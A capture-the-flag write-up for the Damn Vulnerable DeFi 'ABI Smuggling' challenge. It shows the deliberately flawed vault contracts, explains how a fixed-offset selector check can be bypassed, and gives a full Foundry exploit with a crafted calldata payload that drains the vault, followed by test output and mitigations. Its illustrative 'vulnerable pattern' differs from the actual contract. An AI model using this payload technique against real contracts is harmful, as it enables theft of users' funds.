ABI Smuggling
There’s a permissioned vault with 1 million DVT tokens deposited. The vault allows withdrawing funds periodically, as well as taking all funds out in case of emergencies.
The contract has an embedded generic authorization scheme, only allowing known accounts to execute specific actions.
The dev team has received a responsible disclosure saying all funds can be stolen.
Rescue all funds from the vault, transferring them to the designated recovery account.
Contracts
AuthorizedExecutor.sol
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
abstract contract AuthorizedExecutor is ReentrancyGuard {
using Address for address;
bool public initialized;
// action identifier => allowed
mapping(bytes32 => bool) public permissions;
error NotAllowed();
error AlreadyInitialized();
event Initialized(address who, bytes32[] ids);
/**
* @notice Allows first caller to set permissions for a set of action identifiers
* @param ids array of action identifiers
*/
function setPermissions(bytes32[] memory ids) external {
if (initialized) {
revert AlreadyInitialized();
}
for (uint256 i = 0; i < ids.length;) {
unchecked {
permissions[ids[i]] = true;
++i;
}
}
initialized = true;
emit Initialized(msg.sender, ids);
}
/**
* @notice Performs an arbitrary function call on a target contract, if the caller is authorized to do so.
* @param target account where the action will be executed
* @param actionData abi-encoded calldata to execute on the target
*/
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
function _beforeFunctionCall(address target, bytes memory actionData) internal virtual;
function getActionId(bytes4 selector, address executor, address target) public pure returns (bytes32) {
return keccak256(abi.encodePacked(selector, executor, target));
}
}
SelfAuthorizedVault.sol
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {AuthorizedExecutor} from "./AuthorizedExecutor.sol";
contract SelfAuthorizedVault is AuthorizedExecutor {
uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
uint256 public constant WAITING_PERIOD = 15 days;
uint256 private _lastWithdrawalTimestamp = block.timestamp;
error TargetNotAllowed();
error CallerNotAllowed();
error InvalidWithdrawalAmount();
error WithdrawalWaitingPeriodNotEnded();
modifier onlyThis() {
if (msg.sender != address(this)) {
revert CallerNotAllowed();
}
_;
}
/**
* @notice Allows to send a limited amount of tokens to a recipient every now and then
* @param token address of the token to withdraw
* @param recipient address of the tokens' recipient
* @param amount amount of tokens to be transferred
*/
function withdraw(address token, address recipient, uint256 amount) external onlyThis {
if (amount > WITHDRAWAL_LIMIT) {
revert InvalidWithdrawalAmount();
}
if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
revert WithdrawalWaitingPeriodNotEnded();
}
_lastWithdrawalTimestamp = block.timestamp;
SafeTransferLib.safeTransfer(token, recipient, amount);
}
function sweepFunds(address receiver, IERC20 token) external onlyThis {
SafeTransferLib.safeTransfer(address(token), receiver, token.balanceOf(address(this)));
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _beforeFunctionCall(address target, bytes memory) internal view override {
if (target != address(this)) {
revert TargetNotAllowed();
}
}
}
vulnerability
A generic execute(target, value, bytes actionData) function forwards raw actionData and the contract only authorizes the outer call, so an attacker who is allowed to call the outer function can "smuggle" a different (privileged) function selector inside actionData and make the contract execute it.
Why this is dangerous
Because the contract checks only the top-level selector & caller, but the low-level .call(actionData) executes whatever selector is present inside the bytes. That lets an attacker trigger restricted behaviors (e.g. drain funds) via a supposedly allowed wrapper.
Vulnerable pattern
// vulnerable executor
function execute(address target, uint256 value, bytes calldata actionData) external {
// authorization check is performed *for the execute action*
require(isAllowed(msg.sender, execute.selector, target), "NotAllowed");
// forward the raw bytes to target
(bool ok, ) = target.call{value: value}(actionData);
require(ok, "call failed");
}
// privileged function that should be restricted
function sweepFunds(address receiver, IERC20 token) external onlyThis {
token.transfer(receiver, token.balanceOf(address(this)));
}
The problem: actionData may contain the sweepFunds selector even if the caller is only allowed to call execute.
Foundry Test
- You (the attacker) are authorized to call
execute()but notsweepFunds(). - Build
actionDatathat looks like a benign/allowed call at the check position, but actually containssweepFunds(...)at the position the EVM will execute. - Call
execute(target, value, actionData)from your authorized account. - The contract forwards
actionDatatotarget.call(actionData). The innersweepFunds(...)selector is executed and drains the funds.
Exploit
function test_abiSmuggling() public checkSolvedByPlayer {
// logs (before)
console.log("Before -> Player:", token.balanceOf(player));
console.log("Before -> Recovery:", token.balanceOf(recovery));
console.log("Before -> Vault:", token.balanceOf(address(vault)));
// known selectors from challenge
bytes4 withdrawSel = bytes4(0xd9caed12); // decoy (player allowed)
bytes4 sweepSel = bytes4(0x85fb709d); // privileged (drain)
uint256 pointerToReal = 0x80; // offset where we place "real" actionData
uint256 realLen = 4 + 32 + 32; // selector + 2 words (receiver, token)
// craft payload: execute.selector | target | pointer | decoyLen | decoyData | realLen | realData
bytes memory payload = abi.encodePacked(
vault.execute.selector,
bytes32(uint256(uint160(address(vault)))), // target
bytes32(pointerToReal), // pointer to actionData
bytes32(uint256(4)), // decoy length
abi.encodePacked(withdrawSel, bytes28(0)), // decoy selector padded to 32 bytes
bytes32(realLen), // real length
abi.encodePacked(
sweepSel, // real selector
bytes32(uint256(uint160(recovery))), // receiver
bytes32(uint256(uint160(address(token)))) // token
)
);
// execute as the authorized player
vm.startPrank(player);
(bool ok,) = address(vault).call(payload);
vm.stopPrank();
require(ok, "ABI smuggling failed");
// logs (after)
console.log("After -> Recovery:", token.balanceOf(recovery));
console.log("After -> Vault:", token.balanceOf(address(vault)));
// success checks
assertEq(token.balanceOf(recovery), VAULT_TOKEN_BALANCE);
assertEq(token.balanceOf(address(vault)), 0);
}
Result
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_abiSmuggling -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.25
[⠔] Solc 0.8.25 finished in 1.26s
Compiler run successful!
Ran 1 test for test/abi-smuggling/ABISmuggling.t.sol:ABISmugglingChallenge
[PASS] test_abiSmuggling() (gas: 73715)
Logs:
Before -> Player: 0
Before -> Recovery: 0
Before -> Vault: 1000000000000000000000000
After -> Player: 0
After -> Recovery: 1000000000000000000000000
After -> Vault: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.59ms (5.07ms CPU time)
Ran 1 test suite in 47.81ms (17.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_abiSmuggling -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/abi-smuggling/ABISmuggling.t.sol:ABISmugglingChallenge
[PASS] test_abiSmuggling() (gas: 73715)
Logs:
Before -> Player: 0
Before -> Recovery: 0
Before -> Vault: 1000000000000000000000000
After -> Player: 0
After -> Recovery: 1000000000000000000000000
After -> Vault: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.26ms (2.06ms CPU time)
Ran 1 test suite in 45.95ms (24.26ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#
About this payload:
pointerToReal = 0x80aligns the internal ABIbytespointer to the place in calldata where therealblock (thesweepFundsselector + args) is placed.- The
decoy(withdraw) selector appears where the permission check reads, so the check passes forplayer. - The
realselector (sweepFunds) actually gets executed by the vault when it forwardsactionDatato itself.
Why it works
- ABI encoding of
(address target, bytes data)uses a head/tail layout. The head contains a pointer to where thebytestail really lives. - The contract's authorization code reads the selector from a fixed calldata offset (or assumes canonical layout) to decide permission; we place a decoy selector there.
- At runtime the EVM follows the pointer to the tail and uses the bytes starting there as the call data for the actual
call()— oursweepFundsselector is placed there and gets executed.
Mitigations
- Do not read selectors from fixed calldata offsets. Use safe ways to extract the selector from the actual
bytes actionData, e.g. in Solidity 0.8+:
bytes4 sel = bytes4(actionData[:4]);
-
Avoid generic
executestyle functions exposed to accounts you don't fully trust. If you need them, restrict them to very small, audited internal modules. -
Enforce per-function permissions by decoding the
actionDataproperly and verifying the specific selector (or avoid forwarding arbitrary user-controlled bytes to high-privilege targets). -
Design-by-default: prefer explicit function calls or role-based access rather than generic forwarding primitives.